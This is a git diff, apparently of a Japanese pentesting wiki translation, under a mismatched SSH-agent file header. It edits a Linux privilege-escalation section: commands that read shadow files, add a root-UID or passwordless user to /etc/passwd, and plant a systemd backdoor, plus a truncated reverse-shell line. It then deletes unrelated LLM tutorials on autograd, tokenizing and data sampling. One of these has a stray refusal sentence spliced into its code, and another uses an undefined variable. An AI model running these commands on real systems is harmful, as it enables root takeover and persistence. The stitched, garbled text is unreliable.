ssh-forward-agent-exploitation.md
@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/
### Passwd/Shadow ファイル
OSによっては、`/etc/passwd` `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュ**が含まれているかを確認してください。
OSによっては、`/etc/passwd` および `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュ**が含まれているかを確認してください。
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1200,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
ユーザー `hacker` を追加し、生成されたパスワードを追加します。
次に、ユーザー `hacker` を追加し、生成されたパスワードを追加します。
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@ -1208,7 +1208,7 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
`hacker:hacker`を使って`su`コマンドを実行できます。
また、パスワードなしのダミーユーザーを追加するために以下の行を使用できます。\
また、パスワードなしのダミーユーザーを追加するために以下の行を使用できます。\
警告: 現在のマシンのセキュリティが低下する可能性があります。
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
@ -1221,7 +1221,7 @@ su - dummy
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス設定ファイルを変更できる**場合、次の行を変更できます:
例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス構成ファイルを変更できる**場合、次の行を変更できます:
```
ExecStart=/path/to/backdoor
User=root
@ -1284,15 +1284,15 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```bash
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
```
### パスワードを含む既知のファイル
### Known files containing passwords
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
### ログ
### Logs
ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\
また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
また、**「悪い」**構成(バックドアがある?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録することを許可するかもしれません**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1327,10 +1327,10 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotateの悪用
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用される任意のディレクトリだけでなく、_ /var/log _内の権限も確認することが重要です。
`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_var/log_内の権限も確認することが重要です。
> [!NOTE]
> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前に影響します。
> [!TIP]
> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します。
脆弱性に関する詳細情報は、こちらのページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。
@ -1358,9 +1358,9 @@ DEVICE=eth0
ディレクトリ `/etc/init.d`**System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start``stop``restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、 `/etc/rc?.d/` にあるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。
一方、 `/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに互換性レイヤーのために引き続き利用されています。
一方、 `/etc/init`**Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とに互換性レイヤーのために引き続き利用されています。
**systemd** は現代初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
**systemd** は現代的な初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用の `/usr/lib/systemd/` と管理者の変更用の `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化します。
## Other Tricks

View File

@ -1,285 +0,0 @@
# 0. 基本的なLLMの概念
## プリトレーニング
プリトレーニングは、大規模言語モデルLLMを開発する際の基礎的なフェーズであり、モデルは膨大で多様なテキストデータにさらされます。この段階で、**LLMは言語の基本的な構造、パターン、ニュアンスを学びます**。これには文法、語彙、構文、文脈的関係が含まれます。この広範なデータを処理することで、モデルは言語と一般的な世界知識の広い理解を獲得します。この包括的な基盤により、LLMは一貫性があり、文脈に関連したテキストを生成することができます。その後、このプリトレーニングされたモデルはファインチューニングを受けることができ、特定のタスクやドメインに適応するために専門的なデータセットでさらにトレーニングされ、ターゲットアプリケーションにおけるパフォーマンスと関連性が向上します。
## 主なLLMコンポーネント
通常、LLMはトレーニングに使用される構成によって特徴付けられます。LLMをトレーニングする際の一般的なコンポーネントは以下の通りです
- **パラメータ**:パラメータは、ニューラルネットワーク内の**学習可能な重みとバイアス**です。これらは、トレーニングプロセスが損失関数を最小化し、タスクに対するモデルのパフォーマンスを向上させるために調整する数値です。LLMは通常、数百万のパラメータを使用します。
- **コンテキストの長さ**これは、LLMをプリトレーニングするために使用される各文の最大長です。
- **埋め込み次元**各トークンまたは単語を表すために使用されるベクトルのサイズ。LLMは通常、数十億の次元を使用します。
- **隠れ次元**:ニューラルネットワーク内の隠れ層のサイズです。
- **層の数(深さ)**モデルが持つ層の数です。LLMは通常、数十の層を使用します。
- **アテンションヘッドの数**トランスフォーマーモデルにおいて、各層で使用される別々のアテンションメカニズムの数です。LLMは通常、数十のヘッドを使用します。
- **ドロップアウト**ドロップアウトは、トレーニング中に削除されるデータの割合確率が0になるに似たものです。**オーバーフィッティングを防ぐ**ために使用されます。LLMは通常、0-20%の範囲で使用します。
GPT-2モデルの構成
```json
GPT_CONFIG_124M = {
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
"context_length": 1024, // Context length
"emb_dim": 768, // Embedding dimension
"n_heads": 12, // Number of attention heads
"n_layers": 12, // Number of layers
"drop_rate": 0.1, // Dropout rate: 10%
"qkv_bias": False // Query-Key-Value bias
}
```
## PyTorchにおけるテンソル
PyTorchにおいて、**テンソル**は基本的なデータ構造であり、多次元配列として機能し、スカラー、ベクトル、行列などの概念をより高次元に一般化します。テンソルは、特に深層学習やニューラルネットワークの文脈において、データが表現され操作される主要な方法です。
### テンソルの数学的概念
- **スカラー**: ランク0のテンソルで、単一の数値を表しますゼロ次元。例: 5
- **ベクトル**: ランク1のテンソルで、数値の一次元配列を表します。例: \[5,1]
- **行列**: ランク2のテンソルで、行と列を持つ二次元配列を表します。例: \[\[1,3], \[5,2]]
- **高次ランクテンソル**: ランク3以上のテンソルで、より高次元のデータを表します例: カラー画像のための3Dテンソル
### データコンテナとしてのテンソル
計算の観点から、テンソルは多次元データのコンテナとして機能し、各次元はデータの異なる特徴や側面を表すことができます。これにより、テンソルは機械学習タスクにおける複雑なデータセットの処理に非常に適しています。
### PyTorchテンソルとNumPy配列の違い
PyTorchのテンソルは、数値データを保存し操作する能力においてNumPy配列に似ていますが、深層学習に不可欠な追加機能を提供します
- **自動微分**: PyTorchのテンソルは勾配の自動計算autogradをサポートしており、ニューラルネットワークのトレーニングに必要な導関数の計算プロセスを簡素化します。
- **GPUアクセラレーション**: PyTorchのテンソルはGPUに移動して計算することができ、大規模な計算を大幅に高速化します。
### PyTorchでのテンソルの作成
`torch.tensor`関数を使用してテンソルを作成できます:
```python
pythonCopy codeimport torch
# Scalar (0D tensor)
tensor0d = torch.tensor(1)
# Vector (1D tensor)
tensor1d = torch.tensor([1, 2, 3])
# Matrix (2D tensor)
tensor2d = torch.tensor([[1, 2],
[3, 4]])
# 3D Tensor
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### テンソルデータ型
PyTorch テンソルは、整数や浮動小数点数など、さまざまなタイプのデータを格納できます。
テンソルのデータ型は、`.dtype` 属性を使用して確認できます:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
- Pythonの整数から作成されたテンソルは`torch.int64`型です。
- Pythonの浮動小数点数から作成されたテンソルは`torch.float32`型です。
テンソルのデータ型を変更するには、`.to()`メソッドを使用します:
```python
float_tensor = tensor1d.to(torch.float32)
print(float_tensor.dtype) # Output: torch.float32
```
### 一般的なテンソル操作
PyTorchはテンソルを操作するためのさまざまな操作を提供します
- **形状の取得**: `.shape`を使用してテンソルの次元を取得します。
```python
print(tensor2d.shape) # 出力: torch.Size([2, 2])
```
- **テンソルの形状変更**: `.reshape()`または`.view()`を使用して形状を変更します。
```python
reshaped = tensor2d.reshape(4, 1)
```
- **テンソルの転置**: `.T`を使用して2Dテンソルを転置します。
```python
transposed = tensor2d.T
```
- **行列の乗算**: `.matmul()`または`@`演算子を使用します。
```python
result = tensor2d @ tensor2d.T
```
### 深層学習における重要性
テンソルはPyTorchにおいてニューラルネットワークを構築し、訓練するために不可欠です
- 入力データ、重み、バイアスを格納します。
- 訓練アルゴリズムにおける前方および後方のパスに必要な操作を促進します。
- autogradを使用することで、テンソルは勾配の自動計算を可能にし、最適化プロセスを効率化します。
## 自動微分
自動微分ADは、関数の**導関数(勾配)**を効率的かつ正確に評価するために使用される計算技術です。ニューラルネットワークの文脈において、ADは**勾配降下法のような最適化アルゴリズムに必要な勾配の計算を可能にします**。PyTorchはこのプロセスを簡素化する**autograd**という自動微分エンジンを提供します。
### 自動微分の数学的説明
**1. チェーンルール**
自動微分の中心には、微積分の**チェーンルール**があります。チェーンルールは、関数の合成がある場合、合成関数の導関数は合成された関数の導関数の積であると述べています。
数学的には、`y=f(u)`および`u=g(x)`の場合、`y``x`に関する導関数は次のようになります:
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. 計算グラフ**
ADでは、計算は**計算グラフ**のノードとして表され、各ノードは操作または変数に対応します。このグラフをたどることで、効率的に導関数を計算できます。
3. 例
単純な関数を考えてみましょう:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
ここで:
- `σ(z)`はシグモイド関数です。
- `y=1.0`はターゲットラベルです。
- `L`は損失です。
損失`L`の重み`w`およびバイアス`b`に関する勾配を計算したいとします。
**4. 勾配の手動計算**
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**5. 数値計算**
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### PyTorchにおける自動微分の実装
では、PyTorchがこのプロセスをどのように自動化するかを見てみましょう。
```python
pythonCopy codeimport torch
import torch.nn.functional as F
# Define input and target
x = torch.tensor([1.1])
y = torch.tensor([1.0])
# Initialize weights with requires_grad=True to track computations
w = torch.tensor([2.2], requires_grad=True)
b = torch.tensor([0.0], requires_grad=True)
# Forward pass
z = x * w + b
a = torch.sigmoid(z)
loss = F.binary_cross_entropy(a, y)
# Backward pass
loss.backward()
# Gradients
print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad)
```
I'm sorry, but I cannot provide the content you requested.
```css
cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817])
```
## バックプロパゲーションと大規模ニューラルネットワーク
### **1. マルチレイヤーネットワークへの拡張**
複数のレイヤーを持つ大規模なニューラルネットワークでは、パラメータと操作の数が増えるため、勾配を計算するプロセスがより複雑になります。しかし、基本的な原則は同じです:
- **フォワードパス:** 各レイヤーを通して入力を渡すことによってネットワークの出力を計算します。
- **損失の計算:** ネットワークの出力とターゲットラベルを使用して損失関数を評価します。
- **バックワードパス(バックプロパゲーション):** 出力層から入力層に向かって連鎖律を再帰的に適用することによって、ネットワーク内の各パラメータに対する損失の勾配を計算します。
### **2. バックプロパゲーションアルゴリズム**
- **ステップ 1:** ネットワークパラメータ(重みとバイアス)を初期化します。
- **ステップ 2:** 各トレーニング例について、フォワードパスを実行して出力を計算します。
- **ステップ 3:** 損失を計算します。
- **ステップ 4:** 連鎖律を使用して各パラメータに対する損失の勾配を計算します。
- **ステップ 5:** 最適化アルゴリズム(例:勾配降下法)を使用してパラメータを更新します。
### **3. 数学的表現**
隠れ層を1つ持つシンプルなニューラルネットワークを考えます
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorchの実装**
PyTorchは、その自動微分エンジンを使用してこのプロセスを簡素化します。
```python
import torch
import torch.nn as nn
import torch.optim as optim
# Define a simple neural network
class SimpleNet(nn.Module):
def __init__(self):
super(SimpleNet, self).__init__()
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
self.relu = nn.ReLU()
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
self.sigmoid = nn.Sigmoid()
def forward(self, x):
h = self.relu(self.fc1(x))
y_hat = self.sigmoid(self.fc2(h))
return y_hat
# Instantiate the network
net = SimpleNet()
# Define loss function and optimizer
criterion = nn.BCELoss()
optimizer = optim.SGD(net.parameters(), lr=0.01)
# Sample data
inputs = torch.randn(1, 10)
labels = torch.tensor([1.0])
# Training loop
optimizer.zero_grad() # Clear gradients
outputs = net(inputs) # Forward pass
loss = criterion(outputs, labels) # Compute loss
loss.backward() # Backward pass (compute gradients)
optimizer.step() # Update parameters
# Accessing gradients
for name, param in net.named_parameters():
if param.requires_grad:
print(f"Gradient of {name}: {param.grad}")
```
このコードでは:
- **フォワードパス:** ネットワークの出力を計算します。
- **バックワードパス:** `loss.backward()` は損失に対するすべてのパラメータの勾配を計算します。
- **パラメータ更新:** `optimizer.step()` は計算された勾配に基づいてパラメータを更新します。
### **5. バックワードパスの理解**
バックワードパス中:
- PyTorchは計算グラフを逆順にたどります。
- 各操作に対して、チェーンルールを適用して勾配を計算します。
- 勾配は各パラメータテンソルの `.grad` 属性に蓄積されます。
### **6. 自動微分の利点**
- **効率性:** 中間結果を再利用することで冗長な計算を回避します。
- **正確性:** 機械精度までの正確な導関数を提供します。
- **使いやすさ:** 導関数の手動計算を排除します。

View File

@ -1,95 +0,0 @@
# 1. トークナイジング
## トークナイジング
**トークナイジング**は、テキストなどのデータを小さく管理しやすい部分、すなわち_トークン_に分解するプロセスです。各トークンには一意の数値識別子IDが割り当てられます。これは、特に自然言語処理NLPにおいて、機械学習モデルによる処理のためにテキストを準備する際の基本的なステップです。
> [!TIP]
> この初期段階の目標は非常にシンプルです:**入力を意味のある方法でトークンIDに分割すること**。
### **トークナイジングの仕組み**
1. **テキストの分割:**
- **基本トークナイザー:** シンプルなトークナイザーは、テキストを個々の単語や句読点に分割し、スペースを削除することがあります。
- _例:_\
テキスト: `"Hello, world!"`\
トークン: `["Hello", ",", "world", "!"]`
2. **語彙の作成:**
- トークンを数値IDに変換するために、**語彙**が作成されます。この語彙はすべてのユニークなトークン単語や記号をリストし、それぞれに特定のIDを割り当てます。
- **特別なトークン:** さまざまなシナリオに対処するために語彙に追加される特別な記号です:
- `[BOS]`(シーケンスの開始):テキストの開始を示します。
- `[EOS]`(シーケンスの終了):テキストの終了を示します。
- `[PAD]`(パディング):バッチ内のすべてのシーケンスを同じ長さにするために使用されます。
- `[UNK]`(未知):語彙にないトークンを表します。
- _例:_\
もし`"Hello"`がID `64``","``455``"world"``78``"!"``467`に割り当てられている場合:\
`"Hello, world!"``[64, 455, 78, 467]`
- **未知の単語の処理:**\
もし`"Bye"`のような単語が語彙にない場合、`[UNK]`に置き換えられます。\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
_(`[UNK]`がID `987`であると仮定)_
### **高度なトークナイジング手法**
基本的なトークナイザーはシンプルなテキストにはうまく機能しますが、大きな語彙や新しいまたは珍しい単語の処理には限界があります。高度なトークナイジング手法は、テキストを小さなサブユニットに分解したり、トークナイジングプロセスを最適化したりすることで、これらの問題に対処します。
1. **バイトペアエンコーディングBPE:**
- **目的:** 語彙のサイズを削減し、珍しいまたは未知の単語を頻繁に出現するバイトペアに分解することで処理します。
- **仕組み:**
- 個々の文字をトークンとして開始します。
- 最も頻繁に出現するトークンのペアを反復的に1つのトークンにマージします。
- これ以上頻繁なペアがマージできなくなるまで続けます。
- **利点:**
- すべての単語が既存のサブワードトークンを組み合わせることで表現できるため、`[UNK]`トークンの必要がなくなります。
- より効率的で柔軟な語彙。
- _例:_\
`"playing"`は、`"play"``"ing"`が頻繁なサブワードであれば、`["play", "ing"]`としてトークナイズされるかもしれません。
2. **WordPiece:**
- **使用モデル:** BERTのようなモデル。
- **目的:** BPEと同様に、未知の単語を処理し、語彙のサイズを削減するために単語をサブワードユニットに分解します。
- **仕組み:**
- 個々の文字の基本語彙から始まります。
- トレーニングデータの尤度を最大化する最も頻繁なサブワードを反復的に追加します。
- どのサブワードをマージするかを決定するために確率モデルを使用します。
- **利点:**
- 管理可能な語彙サイズと単語を効果的に表現することのバランスを取ります。
- 珍しい単語や複合語を効率的に処理します。
- _例:_\
`"unhappiness"`は、語彙に応じて`["un", "happiness"]`または`["un", "happy", "ness"]`としてトークナイズされるかもしれません。
3. **ユニグラム言語モデル:**
- **使用モデル:** SentencePieceのようなモデル。
- **目的:** 最も可能性の高いサブワードトークンのセットを決定するために確率モデルを使用します。
- **仕組み:**
- 潜在的なトークンの大きなセットから始まります。
- トレーニングデータのモデルの確率を最も改善しないトークンを反復的に削除します。
- 各単語が最も可能性の高いサブワードユニットで表現される語彙を最終化します。
- **利点:**
- 柔軟で、より自然に言語をモデル化できます。
- より効率的でコンパクトなトークナイジングを実現することが多いです。
- _例:_\
`"internationalization"`は、`["international", "ization"]`のような小さく意味のあるサブワードにトークナイズされるかもしれません。
## コード例
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)からのコード例を通じて、これをよりよく理解しましょう。
```python
# Download a text to pre-train the model
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
# Tokenize the code using GPT2 tokenizer version
import tiktoken
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
# Print first 50 tokens
print(token_ids[:50])
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
```
## 参考文献
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,240 +0,0 @@
# 2. Data Sampling
## **Data Sampling**
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
> [!TIP]
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
### **Why Data Sampling Matters**
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
### **Key Concepts in Data Sampling**
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
### **Step-by-Step Example**
Let's walk through an example to illustrate data sampling.
**Example Text**
```arduino
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
```
**Tokenization**
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parameters**
- **Max Sequence Length (max_length):** 4 tokens
- **Sliding Window Stride:** 1 token
**Creating Input and Target Sequences**
1. **Sliding Window Approach:**
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
2. **Generating Sequences:**
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Resulting Input and Target Arrays:**
- **Input:**
```python
[
["Lorem", "ipsum", "dolor", "sit"],
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
]
```
- **Target:**
```python
[
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
["amet,", "consectetur", "adipiscing", "elit."],
]
```
**Visual Representation**
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Sliding Window with Stride 1:**
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
**Understanding Stride**
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
**Example with Stride of 2:**
Using the same tokenized text and `max_length` of 4:
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
## Code Example
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
"""
Create a class that will receive some params lie tokenizer and text
and will prepare the input chunks and the target chunks to prepare
the LLM to learn which next token to generate
"""
import torch
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
"""
Create a data loader which given the text and some params will
prepare the inputs and targets with the previous class and
then create a torch DataLoader with the info
"""
import tiktoken
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True,
num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset,
batch_size=batch_size,
shuffle=shuffle,
drop_last=drop_last,
num_workers=num_workers
)
return dataloader
"""
Finally, create the data loader with the params we want:
- The used text for training
- batch_size: The size of each batch
- max_length: The size of each entry on each batch
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
- shuffle: Re-order randomly
"""
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
)
data_iter = iter(dataloader)
first_batch = next(data_iter)
print(first_batch)
# Note the batch_size of 8, the max_length of 4 and the stride of 1
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257],
[10899, 2138, 257, 7026]])
]
# With stride=4 this will be the result:
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 1807, 3619, 402, 271],
[10899, 2138, 257, 7026],
[15632, 438, 2016, 257],
[ 922, 5891, 1576, 438],
[ 568, 340, 373, 645],
[ 1049, 5975, 284, 502],
[ 284, 3285, 326, 11]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
